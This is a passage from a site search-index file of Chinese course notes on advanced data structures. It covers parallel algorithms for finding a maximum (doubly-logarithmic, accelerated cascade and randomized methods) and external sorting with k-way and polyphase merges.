\u7684\u603b\u5de5\u4f5c\u91cf\u3002\u4ee5\u4e0a\u662f\u9012\u5f52\u9636\u6bb5\uff0c\u5728\u5f52\u5e76\u9636\u6bb5\uff0c\u8fd4\u56de\u7684 \\( \\sqrt{n} \\) \u4e2a\u6700\u5927\u503c\u4e2d\u7684\u6700\u5927\u503c\u6211\u4eec\u91c7\u7528\u524d\u9762\u7684\u4e24\u4e24\u6bd4\u8f83\u7684\u65b9\u6cd5\u5373\u53ef\uff0c\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O((\\sqrt{n})^2) = O(n) \\)\u3002\u4e8e\u662f\u6211\u4eec\u6309\u7167\u5206\u6cbb\u6cd5\u7684\u65b9\u5f0f\u53ef\u4ee5\u5199\u51fa\u9012\u63a8\u5f0f</p> \\[    D(n) = D(\\sqrt{n}) + O(1) \\] \\[    W(n) = \\sqrt{n} W(\\sqrt{n}) + O(n) \\] <p>\u6362\u5143\u6cd5\u5f97\u5230 \\(D(n) = O(\\log \\log n)\\)\uff0c\\(W(n) = O(n \\log \\log n)\\)\u3002</p> \u53cc\u5bf9\u6570\u5212\u5206\u8303\u5f0f"},{"location":"NOTE/ADS/wk13/#accelerated-cascade","title":"\u52a0\u901f\u7ea7\u8054\u8303\u5f0f(accelerated cascade)","text":"<ol> <li>\u5c06\u6570\u7ec4\u5206\u4e3a \\( \\frac{n}{\\log \\log n} \\) \u4efd\uff0c\u5373\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u4e3a \\( \\log \\log n \\)\uff0c\u5b9e\u9645\u4e0a\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u90fd\u5f88\u5c0f\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u7ebf\u6027\u67e5\u627e\u7684\u65b9\u5f0f\u627e\u5230\u6bcf\u4e00\u4efd\u7684\u6700\u5927\u503c\uff0c\u5219\u6bcf\u4e00\u4efd\u7684\u6df1\u5ea6\u548c\u5de5\u4f5c\u91cf\u90fd\u662f \\( O(\\log \\log n) \\) \u7684\uff1b</li> <li>\u7136\u540e\u6211\u4eec\u5bf9\u4e0a\u9762\u6c42\u51fa\u7684 \\( \\frac{n}{\\log \\log n} \\) \u4e2a\u6700\u5927\u503c\u4f7f\u7528\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u7b97\u6cd5\u3002</li> </ol> <p>\u603b\u7684\u6df1\u5ea6\u4e3a\u6bcf\u4e00\u4efd\u7684\u6df1\u5ea6\u52a0\u4e0a\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u6df1\u5ea6\uff0c\u5373 </p> \\[ D(n) = O(\\log \\log n) + O(\\log \\log (n/\\log \\log n)) = O(\\log \\log n) \\] <p>\u603b\u5de5\u4f5c\u91cf\u4e3a\u6bcf\u4e00\u4efd\u7684\u5de5\u4f5c\u91cf\u4e4b\u548c\u52a0\u4e0a\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u603b\u5de5\u4f5c\u91cf\uff0c\u5373 </p> \\[     W(n) = \\frac{n}{\\log \\log n} \\cdot O(\\log \\log n) + O(n/ \\log \\log n \\cdot \\log \\log(n/ \\log \\log n)) = O(n) \\]"},{"location":"NOTE/ADS/wk13/#_9","title":"\u968f\u673a\u7b97\u6cd5","text":"<p>\u770b\u8d77\u6765\u6211\u4eec\u8fd8\u6709\u6539\u8fdb\u7684\u7a7a\u95f4\uff0c\u6bd5\u7adf\u5f53\u521d\u66b4\u529b\u7684\u4e24\u4e24\u6bd4\u8f83\u65b9\u6cd5\u80fd\u5b9e\u73b0 O(1) \u7684\u6df1\u5ea6\u3002\u63a5\u4e0b\u6765\u7684\u968f\u673a\u7b97\u6cd5\uff0c\u5b83\u53ef\u4ee5\u4fdd\u8bc1\u4ee5\u975e\u5e38\u9ad8\u7684\u6982\u7387\u5728 O(1) \u7684\u6df1\u5ea6\u548c O(n) \u7684\u5de5\u4f5c\u91cf\u5185\u627e\u5230\u6700\u5927\u503c\u3002</p> <ol> <li> <p>\u7b2c\u4e00\u6b65: \u4ece\u957f\u5ea6\u4e3a \\( n \\) \u7684\u6570\u7ec4 \\( A \\) \u4e2d\uff0c\u4f9d\u7167\u5747\u5300\u5206\u5e03\u53d6\u51fa \\( n^{7/8} \\) \u4e2a\u5143\u7d20\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\u8bb0\u4e3a \\( B \\)\u3002\u8fd9\u4e00\u6b65\u9700\u8981 \\( n^{7/8} \\) \u4e2a\u5904\u7406\u5668\u5404\u81ea\u8d1f\u8d23\u62bd\u4e00\u4e2a\u7136\u540e\u653e\u5230\u5185\u5b58\u4e2d\u67d0\u4e2a\u4f4d\u7f6e\uff0c\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{7/8}) \\)\u3002</p> </li> <li> <p>\u7b2c\u4e8c\u6b65: \u6c42\u51fa \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\uff0c\u4f7f\u7528\u786e\u5b9a\u6027\u7684\u7b97\u6cd5\u5b9e\u73b0\uff0c\u901a\u8fc7\u5982\u4e0b\u4e09\u4e2a\u5b50\u6b65\u9aa4\u5b9e\u73b0\uff1a</p> </li> <li>\u628a \\( B \\) \u5206\u6210 \\( n^{3/4} \\) \u4e2a\u957f\u5ea6\u4e3a \\( n^{1/8} \\) \u7684\u5b50\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u66b4\u529b\u7b97\u6cd5\u5e76\u884c\u627e\u5230\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{3/4} \\cdot (n^{1/8})^2) = O(n) \\)\uff0c\u56e0\u4e3a\u6709 \\( n^{3/4} \\) \u4e2a\u5b50\u6570\u7ec4\uff0c\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u529e\u6cd5\u7684\u590d\u6742\u5ea6\u662f\u6570\u7ec4\u957f\u5ea6\u5e73\u65b9\u7ea7\u522b\u7684\uff1b\u7136\u540e\u5c06\u8fd9 \\( n^{3/4} \\) \u4e2a\u6700\u5927\u503c\u653e\u5728\u65b0\u6570\u7ec4 \\( C \\) \u4e2d\u3002</li> <li>\u628a \\( C \\) \u5206\u6210 \\( n^{1/2} \\) \u4e2a\u957f\u5ea6\u4e3a \\( n^{1/4} \\) \u7684\u5b50\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u66b4\u529b\u7b97\u6cd5\u5e76\u884c\u627e\u5230\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{1/2} \\cdot (n^{1/4})^2) = O(n) \\)\uff0c\u7136\u540e\u5c06\u8fd9 \\( n^{1/2} \\) \u4e2a\u6700\u5927\u503c\u653e\u5728\u65b0\u6570\u7ec4 \\( D \\) \u4e2d\u3002</li> <li>\u6570\u7ec4 \\( D \\) \u76f4\u63a5\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u65b9\u6cd5\u627e\u5230\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O((n^{1/2})^2) = O(n) \\)\u3002</li> </ol> <p>\u7efc\u5408\u4e0a\u8ff0\u65b9\u6cd5\uff0c\u6574\u4e2a\u7b2c\u4e8c\u6b65\u76f8\u5f53\u4e8e\u4e00\u4e2a\u4e09\u8f6e\u7684\u6dd8\u6c70\u8d5b\uff0c\u6574\u4f53\u800c\u8a00\u7b2c\u4e8c\u6b65\u7684\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\)\uff0c\u5e76\u4e14\u6211\u4eec\u80fd\u6c42\u51fa \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\uff0c\u4e5f\u5c31\u662f\u62bd\u53d6\u7684 \\( n^{7/8} \\) \u4e2a\u5143\u7d20\u4e2d\u7684\u6700\u5927\u503c\u3002</p> <p>\u7b2c\u4e09\u6b65\uff1a\u76ee\u524d\u6211\u4eec\u53ea\u5f97\u5230\u4e86 \\( n^{7/8} \\) \u4e2a\u5143\u7d20\u4e2d\u7684\u6700\u5927\u503c\uff08\u8bb0\u4e3a \\( M \\)\uff09\u3002\u5982\u4f55\u8fdb\u4e00\u6b65\u63d0\u9ad8\u6982\u7387\u5462\uff1f\u7b54\u6848\u662f\u518d\u6765\u4e00\u8f6e\uff0c\u4f46\u8fd9\u518d\u6765\u4e00\u8f6e\u662f\u6709\u8bb2\u7a76\u7684\u3002\u8fd9\u4e00\u6b65\u6211\u4eec\u9996\u5148\u5747\u5300\u5206\u5e03\u53d6\u51fa \\( n^{7/8} \\) \u4e2a\u5143\u7d20\uff0c\u5f97\u5230\u6570\u7ec4 \\( B \\)\u3002\u7136\u540e\u7528 \\( n \\) \u4e2a\u5904\u7406\u5668\uff0c\u6bcf\u4e2a\u5904\u7406\u5668\u653e \\( A \\) \u7684\u4e00\u4e2a\u5143\u7d20\uff0c\u4e0e\u524d\u4e00\u6b65\u5f97\u5230\u7684 \\( M \\) \u8fdb\u884c\u6bd4\u8f83\u3002\u5982\u679c\u5c0f\u4e8e \\( M \\)\uff0c\u5219\u4ec0\u4e48\u4e5f\u4e0d\u7528\u505a\uff1b\u5927\u4e8e \\( M \\) \u5219\u5f80\u6570\u7ec4 \\( B \\) \u7684\u4e00\u4e2a\u968f\u673a\u4f4d\u7f6e\u5199\u5165\u8fd9\u4e00\u66f4\u5927\u7684\u503c\u3002\u4e3a\u4ec0\u4e48\u8981\u968f\u673a\u5199\u5165\u5462\uff1f\u56e0\u4e3a\u4e00\u5171 \\( n \\) \u4e2a\u5904\u7406\u5668\uff0c\u4f46\u53ea\u6709 \\( n^{7/8} \\) \u4e2a\u4f4d\u7f6e\u53ef\u4f9b\u9009\u62e9\uff0c\u4e0d\u80fd\u4e00\u4e00\u5bf9\u5e94\u4f4d\u7f6e\u4f9b\u6bcf\u4e2a\u5904\u7406\u5668\u4f7f\u7528\uff0c\u4f46\u6211\u4eec\u53c8\u8981\u5728 \\( O(1) \\) \u65f6\u95f4\u5185\u5b8c\u6210\u4f4d\u7f6e\u5206\u914d\uff0c\u53ea\u80fd\u662f\u968f\u673a\u4e86\u3002\u5199\u5b8c\u540e\uff0c\u6211\u4eec\u518d\u6b21\u6c42\u51fa\u66f4\u65b0\u540e\u7684 \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u7684\u6df1\u5ea6\u548c\u5de5\u4f5c\u91cf\u4e0e\u7b2c\u4e8c\u6b65\u76f8\u540c\uff0c\u56e0\u6b64\u662f \\( O(1) \\) \u7684\u6df1\u5ea6\u548c \\( O(n) \\) \u7684\u5de5\u4f5c\u91cf\u3002</p> <p>\u4ee5\u4e0a\u7b97\u6cd5\u4ee5\u975e\u5e38\u9ad8\u7684\u6982\u7387\u5728 \\( O(1) \\) \u7684\u6df1\u5ea6\u548c \\( O(n) \\) \u7684\u5de5\u4f5c\u91cf\u5185\u627e\u5230\u6570\u7ec4 \\( A \\) \u4e2d\u7684\u6700\u5927\u503c\uff1a\u5b58\u5728\u5e38\u6570 \\( c \\)\uff0c\u4f7f\u5f97\u7b97\u6cd5\u53ea\u6709 \\( \\frac{1}{n^c} \\) \u7684\u6982\u7387\u65e0\u6cd5\u5728\u8fd9\u4e00\u65f6\u95f4\u590d\u6742\u5ea6\u5185\u627e\u5230\u6700\u5927\u503c\u3002</p>"},{"location":"NOTE/ADS/wk14/","title":"\u5916\u90e8\u6392\u5e8f(External Sorting)","text":"<p> \u7ea6 1912 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u5927\u90e8\u5206\u6392\u5e8f\u7b97\u6cd5\u90fd\u4f9d\u8d56\u4e8e\u5185\u5b58\u53ef\u4ee5\u76f4\u63a5\u5bfb\u5740\u7684\u7279\u6027\uff0c\u4f46\u662f\u5982\u679c\u6570\u636e\u8f93\u5165\u5728\u78c1\u5e26\u4e0a\uff0c\u7531\u4e8e\u78c1\u5e26\u53ea\u80fd\u88ab\u987a\u5e8f\u8bbf\u95ee\uff0c\u6240\u4ee5\u9002\u5408\u7528\u4e8e\u5916\u90e8\u6392\u5e8f\u7684\u6392\u5e8f\u7b97\u6cd5\u662f\u5f52\u5e76\u6392\u5e8f\u3002</p>"},{"location":"NOTE/ADS/wk14/#_1","title":"\u7b80\u5355\u505a\u6cd5","text":"\u7b80\u5355\u505a\u6cd5 <p>\u5047\u8bbe\u4e00\u5f00\u59cb\u6570\u636e\u5b58\u5728\u78c1\u5e26\\(T_1\\)\u4e0a\uff0c\u5916\u90e8\u5185\u5b58\u5bb9\u91cf\u662f3\uff0c\u5219\u4f9d\u6b21\u8bfb\u53d63\u4e2a\u6570\u636e\u4e3a\u4e00\u7ec4\uff0c\u4ea4\u66ff\u653e\u5728\u78c1\u5e26\\(T_2\\)\u548c\\(T_3\\)\u4e0a\uff0c\u7136\u540e\u6309\u5bf9\u5e94\u5f52\u5e76\\(T_2\\)\u548c\\(T_3\\)\u4e0a\u7684\u6570\u636e\uff0c\u7ed3\u679c\u4ea4\u66ff\u653e\u5728\\(T_1\\)\u548c\\(T_4\\)\u4e0a\uff0c\u7136\u540e\u91cd\u590d\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u76f4\u5230\u6240\u6709\u6570\u636e\u90fd\u6392\u5e8f\u5b8c\u6210\u3002</p> <p>Definition</p> <ul> <li>run: \u6bcf\u7ec4\u6392\u597d\u5e8f\u7684\u6570\u636e\u79f0\u4e3a\u4e00\u4e2arun</li> <li>pass: \u5c06\u6240\u6709\u6570\u636e\u8bfb\u8fc7\u4e00\u904d\u7684\u79f0\u4e3a\u4e00\u4e2apass</li> </ul> <p>\u5bf9\u4e8e\u4e0a\u8ff0\u7684\u4f8b\u5b50\uff0c\u9700\u8981\u7b2c\u4e00\u6b21\u4ece\\(T_1\\)\u8bfb\u7684\u4e00\u4e2apass\u52a0\u4e0a\u4e0b\u9762\u4e09\u4e2a\u5f52\u5e76\u7684\u8fc7\u7a0b\uff0c\u4e00\u5171\u6709\\(1+3=4\\)\u4e2apass\u3002</p> <p>\u5bf9\u4e8e\\(N\\)\u4e2a\u6570\u636e\uff0c\u5982\u679c\u5916\u90e8\u5185\u5b58\u5bb9\u91cf\u662f\\(M\\)\uff0c\u5219\u9700\u8981\\(1+\\lceil \\log_2(N/ M) \\rceil\\)\u4e2apass\u3002</p>"},{"location":"NOTE/ADS/wk14/#k-way-merge","title":"K-way Merge","text":"<p>\u7b2c\u4e00\u4e2a\u4f18\u5316\u65b9\u5411\u5c31\u662f\u51cf\u5c11\u5de5\u4f5c\u7684\u8d9f\u6570\uff0c\u663e\u7136\u5982\u679c\u6211\u4eec\u4f7f\u7528 k \u8def\u7684\u5f52\u5e76\uff0c\u4e5f\u5c31\u662f\u6bcf\u6b21\u5f52\u5e76 k \u6761\u7eb8\u5e26\u4e0a\u5bf9\u5e94\u4f4d\u7f6e\u7684\u987a\u4e32\uff0c\u90a3\u4e48\u6bcf\u6b21\u5408\u5e76\u540e\u987a\u4e32\u957f\u5ea6\u589e\u52a0 k \u500d\uff0c\u56e0\u6b64\u52a0\u4e0a\u521d\u59cb\u7684 1 \u8d9f\uff0c\u6211\u4eec\u53ea\u9700\u8981$ 1 + \\lceil \\log_k(N/M) \\rceil $\u8d9f\u5373\u53ef\u5b8c\u6210\u6392\u5e8f\uff0c\u51cf\u5c11\u4e86\u8d9f\u6570\uff0c\u56e0\u6b64\u51cf\u5c11\u4e86\u78c1\u5e26\u79fb\u52a8\u7684\u6b21\u6570\uff0c\u4ece\u800c\u51cf\u5c11\u603b\u65f6\u95f4\u3002\u8fd9\u6837\u7684\u7b97\u6cd5\u79f0\u4e3a k \u8def\u5408\u5e76\u3002</p> <p>k \u8def\u5408\u5e76\u6709\u4e00\u4e2a\u5b9e\u73b0\u4e0a\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff0c\u56e0\u4e3a\u6211\u4eec\u662f k \u4e2a\u987a\u4e32\u8981\u5408\u5e76\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4e0d\u65ad\u7684\u5728 k \u4e2a\u5143\u7d20\u4e2d\u9009\u53d6\u6700\u5c0f\u503c\u653e\u5230\u8f93\u51fa\u7684\u78c1\u5e26\u4e0a\uff0c\u8fd9\u4e2a\u64cd\u4f5c\u53ef\u4ee5\u4f7f\u7528\u4f18\u5148\u961f\u5217\u6765\u5b9e\u73b0\u3002</p> k \u8def\u5408\u5e76 <p>Key-point</p> <p>\u5bf9\u4e8ek\u8def\u5408\u5e76\uff0c\u9700\u8981\\(2k\\)\u4e2atape\u3002</p>"},{"location":"NOTE/ADS/wk14/#_2","title":"\u591a\u76f8\u5408\u5e76","text":"<p>\u4e3a\u4e86\u4f18\u5316\u591a\u8def\u5408\u5e76\u5bf9\u4e8e\u78c1\u5e26\u6570\u7684\u6210\u672c\uff0c\u6211\u4eec\u8003\u8651\u591a\u76f8\u5408\u5e76\uff0c\u8fd9\u79cd\u65b9\u6cd5\u5bf9\u4e8e\u591a\u8def\u5408\u5e76\u7684\u78c1\u5e26\u6210\u672c\u53ef\u4ee5\u4ece\\(2k\\)\u51cf\u5c11\u5230\\(k+1\\)\u3002</p> <p>\u9996\u5148\uff0c\u5047\u8bbe\u6211\u4eec\u6709\u4e09\u4e2a\u78c1\u5e26\uff0c\u4f7f\u75282-way merge:</p> \u5747\u5206 <p>\u8bbe\u6709\u4e09\u76d8\u78c1\u5e26\\(T_1\u3001T_2\\)\u548c\\(T_3\\)\u3002\u5728\\(T_1\\)\u4e0a\u6709\u4e00\u4e2a\u8f93\u5165\u6587\u4ef6\uff0c\u5b83\u5c06\u4ea7\u751f\\(34\\)\u4e2a\u987a\u4e32(run)\u3002\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u5728\\(T_2\\)\u548c\\(T_3\\)\u7684\u6bcf\u4e00\u76d8\u78c1\u5e26\u4e2d\u653e\u5165\\(17\\)\u4e2a\u987a\u4e32\u3002\u7136\u540e\uff0c\u5c06\u7ed3\u679c\u5408\u5e76\u5230\\(T_1\\)\u4e0a\uff0c\u5f97\u5230\u4e00\u76d8\u6709\\(17\\)\u4e2a\u987a\u4e32\u7684\u78c1\u5e26\u3002\u7531\u4e8e\u6240\u6709\u7684\u987a\u4e32\u90fd\u5728\u4e00\u76d8\u78c1\u5e26\u4e0a\uff0c\u56e0\u6b64\u6211\u4eec\u5fc5\u987b\u5c06\u5176\u4e2d\u7684\u4e00\u4e9b\u987a\u4e32\u653e\u5230\\(T_2\\)\u4e0a\u4ee5\u8fdb\u884c\u53e6\u4e00\u6b21\u5408\u5e76\u3002\u5408\u5e76\u7684\u903b\u8f91\u662f\u5c06\u524d\\(8\\)\u4e2a\u987a\u4e32\u4ece\\(T_1\\)\u62f7\u8d1d\u5230\\(T_2\\)\u5e76\u8fdb\u884c\u5408\u5e76\u3002\u8fd9\u6837\u505a\u7684\u7ed3\u679c\u662f\uff0c\u6bcf\u6b21\u5408\u5e76\u90fd\u9700\u8981\u989d\u5916\u7684\u590d\u5236\u5de5\u4f5c\uff0c\u800c\u590d\u5236\u4e5f\u9700\u8981\u78c1\u5934\u7684\u79fb\u52a8\uff0c\u8fd9\u662f\u4e00\u9879\u6602\u8d35\u7684\u64cd\u4f5c\uff0c\u56e0\u6b64\u8fd9\u79cd\u65b9\u6cd5\u5e76\u4e0d\u597d\u3002\u5982\u679c\u6211\u4eec\u7ee7\u7eed\u5b8c\u6210\u6240\u6709\u6b65\u9aa4\uff0c\u6211\u4eec\u4f1a\u53d1\u73b0\u603b\u5171\u9700\u8981\\(1\\)\u6b21\u521d\u59cb\u64cd\u4f5c\\(+6\\)\u6b21\u5408\u5e76\u5de5\u4f5c\uff0c\u5916\u52a0\\(5\\)\u6b21\u590d\u5236\u64cd\u4f5c,This sucks.</p> \u4e0d\u5747\u5206 <p>\u53e6\u4e00\u79cd\u9009\u62e9\u662f\u628a\u539f\u59cb\u7684 \\(34\\)\u4e2a\u987a\u4e32\u4e0d\u5747\u8861\u5730\u5206\u6210\u4e24\u4efd\u3002\u8bbe\u6211\u4eec\u628a\\(21\\)\u4e2a\u987a\u4e32\u653e\u5230\\(T_2\\)\u4e0a\uff0c\u800c\u628a\\(13\\)\u4e2a\u987a\u4e32\u653e\u5230\\(T_3\\)\u4e0a\u3002\u7136\u540e\uff0c\u5728\\(T_3\\)\u7528\u5b8c\u4e4b\u524d\u5c06\\(13\\)\u4e2a\u987a\u4e32\u5408\u5e76\u5230\\(T_1\\)\u4e0a\u3002\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5c06\u5177\u6709\\(13\\)\u4e2a\u987a\u4e32\u7684\\(T_1\\)\u548c\\(8\\)\u4e2a\u987a\u4e32\u7684\\(T_2\\)\u5408\u5e76\u5230\\(T_3\\)\u4e0a\u3002\u6b64\u65f6\uff0c\u6211\u4eec\u5408\u5e76\\(8\\)\u4e2a\u987a\u4e32\u76f4\u5230\\(T_2\\)\u7528\u5b8c\u4e3a\u6b62\uff0c\u8fd9\u6837\uff0c\u5728\\(T_1\\)\u4e0a\u5c06\u7559\u4e0b\\(5\\)\u4e2a\u987a\u4e32\uff0c\u800c\u5728\\(T_3\\)\u4e0a\u5219\u6709\\(8\\)\u4e2a\u987a\u4e32\u3002\u7136\u540e\uff0c\u6211\u4eec\u518d\u5408\u5e76\\(T_1\\)\u548c\\(T_3\\)\uff0c\u7b49\u7b49\uff0c\u76f4\u5230\u5408\u5e76\u7ed3\u675f\u3002</p> \u8be6\u7ec6\u8fc7\u7a0b <p> 2 3 4 5 6 </p> <p>\u6700\u540e\u4f7f\u7528\u4e86\\(1+7=8\\)\u4e2apass\u3002</p> <p>\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u7ed9\u51fa\u7684\u6700\u521d 21 + 13 \u7684\u5206\u914d\u662f\u6700\u4f18\u7684\uff0c\u5426\u5219\u90fd\u53ef\u80fd\u51fa\u73b0\u4e0a\u9762\u7684\u9700\u8981\u590d\u5236\u6216\u8005\u6709\u957f\u77ed\u4e0d\u5bf9\u9f50\u5bfc\u81f4\u6d6a\u8d39\u7684\u60c5\u51b5\u3002\u5982\u679c\u987a\u4e32\u7684\u4e2a\u6570\u662f\u4e00\u4e2a\u6590\u6ce2\u90a3\u5951\u6570 \\( F_n \\)\uff0c\u90a3\u4e48\u5206\u914d\u8fd9\u4e9b\u987a\u4e32\u6700\u597d\u7684\u65b9\u5f0f\u662f\u628a\u5b83\u4eec\u5206\u88c2\u6210\u4e24\u4e2a\u6590\u6ce2\u90a3\u5951\u6570 \\( F_{n-1} \\) \u548c \\( F_{n-2} \\)\u3002\u5426\u5219\uff0c\u4e3a\u4e86\u5c06\u987a\u4e32\u7684\u4e2a\u6570\u8865\u8db3\u6210\u4e00\u4e2a\u6590\u6ce2\u90a3\u5951\u6570\u5c31\u5fc5\u987b\u7528\u4e00\u4e9b\u54d1\u987a\u4e32\uff08dummy run\uff09\u6765\u586b\u8865\u78c1\u5e26\u3002</p> <p>\u5c06\u4e0a\u8ff0\u7b97\u6cd5\u5e94\u7528\u5230k-way merge\uff0c\u5219\u9700\u8981k\u9636\u6590\u6ce2\u90a3\u5951\u6570\u3002</p> <p>\u5b9a\u4e49\u4e3a</p> \\[ F^{(k)}(n) = F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k) \\] <p>\u4e14</p> \\[ F^{(k)}(0) = F^{(k)}(1) = \\cdots = F^{(k)}(k-2) = 0, F^{(k)}(k-1) = 1 \\] <p>\u7ecf\u8fc7\u7b2c\u4e00\u4e2apass\u4e4b\u540e,k+1\u4e2atape\u7684\u7ed3\u6784\u5982\u4e0b</p> \\[ \\begin{align*} tape1: &amp; \\quad F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k+1) + F^{(k)}(n-k) \\\\ tape2: &amp; \\quad F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k+1) \\\\ &amp; \\quad \\vdots \\\\ tapek: &amp; \\quad F^{(k)}(n-1) \\\\ tapek+1: &amp; \\quad 0 \\end{align*} \\] <p>\u7136\u540e\u5408\u5e761-k\u4e2atape\uff0c\u7ed3\u679c\u653e\u5728tapek+1\u4e0a\uff0c\u7ed3\u679c\u5982\u4e0b</p> \\[ \\begin{align*} tape1: &amp; \\quad F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k) \\\\ tape2: &amp; \\quad F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k+1) \\\\ &amp; \\quad \\vdots \\\\ tape k: &amp; \\quad 0 \\\\ tape k+1: &amp; \\quad F^{(k)}(n-1) = F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k-1) \\end{align*} \\] <p>\u6b64\u65f6\u6211\u4eec\u7684\u987a\u4e32\u4e2a\u6570\u5206\u5e03\u4e0e\u4e4b\u524d\u7684\u662f\u7c7b\u4f3c\u7684\uff0c\u53ea\u662f\u4e0b\u6807\u51cf\u4e86 1\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u5408\u5e76\u9664\u78c1\u5e26 k \u5916\u6bcf\u4e2a\u78c1\u5e26\u7684\u524d \\( F^{(k)}(n-2) \\) \u4e2a\u987a\u4e32\uff0c\u5c06\u5408\u5e76\u540e\u7684\u7ed3\u679c\u653e\u5230\u78c1\u5e26 k \u4e0a\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u76f4\u5230\u987a\u4e32\u4e2a\u6570\u4e3a 1\uff0c\u6b64\u65f6\u6211\u4eec\u5c31\u5b8c\u6210\u4e86\u6392\u5e8f\u3002</p>"},{"location":"NOTE/ADS/wk14/#copy-from-wyys-handout","title":"\u7f13\u5b58\u5e76\u884c\u5904\u7406(copy from wyy's Handout)","text":"<p>\u5728\u5b9e\u73b0\u5916\u90e8\u6392\u5e8f\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u5206\u5757\u8bfb\u53d6\u6570\u636e\uff0c\u800c\u4e0d\u662f\u6bcf\u6b21\u6bd4\u8f83\u540e\u7acb\u5373\u5c06\u4e00\u4e2a\u5143\u7d20\u5199\u5165\u78c1\u76d8\u3002\u8fd9\u6837\u505a\u4f1a\u5bfc\u81f4\u6bcf\u6b21\u6bd4\u8f83\u540e\u90fd\u9700\u8981\u7b49\u5f85\u78c1\u76d8\u5904\u7406\uff0c\u8017\u8d39\u5927\u91cf\u65f6\u95f4\u3002\u57282\u8def\u5408\u5e76\u4e2d\uff0c\u5185\u5b58\u5e94\u5212\u5206\u4e3a2\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c1\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u8f93\u5165\u7f13\u5b58\u533a\u7528\u4e8e\u5b58\u653e\u4ece\u78c1\u76d8\u8bfb\u53d6\u7684\u6570\u636e\uff0c\u4e24\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u7684\u6570\u636e\u6bd4\u8f83\u540e\uff0c\u7ed3\u679c\u6682\u5b58\u4e8e\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u5f53\u8f93\u51fa\u7f13\u5b58\u533a\u6ee1\u65f6\uff0c\u518d\u4e00\u6b21\u6027\u5199\u5165\u78c1\u76d8\u3002</p> <p>\u7136\u800c\uff0c\u8fd9\u79cd\u5b9e\u73b0\u4ecd\u6709\u95ee\u9898\uff1a\u5f53\u8f93\u51fa\u7f13\u5b58\u533a\u5199\u56de\u78c1\u76d8\u65f6\uff0c\u5185\u5b58\u4e2d\u7684\u64cd\u4f5c\u4f1a\u6682\u505c\u3002\u4e3a\u89e3\u51b3\u6b64\u95ee\u9898\uff0c\u6211\u4eec\u5c06\u8f93\u51fa\u7f13\u5b58\u533a\u62c6\u5206\u4e3a\u4e24\u4e2a\u3002\u5f53\u4e00\u4e2a\u7f13\u5b58\u533a\u6ee1\u5e76\u5199\u56de\u78c1\u76d8\u65f6\uff0c\u53e6\u4e00\u4e2a\u7f13\u5b58\u533a\u7ee7\u7eed\u63a5\u6536\u6570\u636e\uff0c\u5b9e\u73b0\u5e76\u884c\u5904\u7406\u2014\u2014\u4e00\u4e2a\u5728\u5185\u5b58\u4e2d\u64cd\u4f5c\uff0c\u53e6\u4e00\u4e2a\u8fdb\u884cI/O\u4ea4\u4e92\u3002</p> 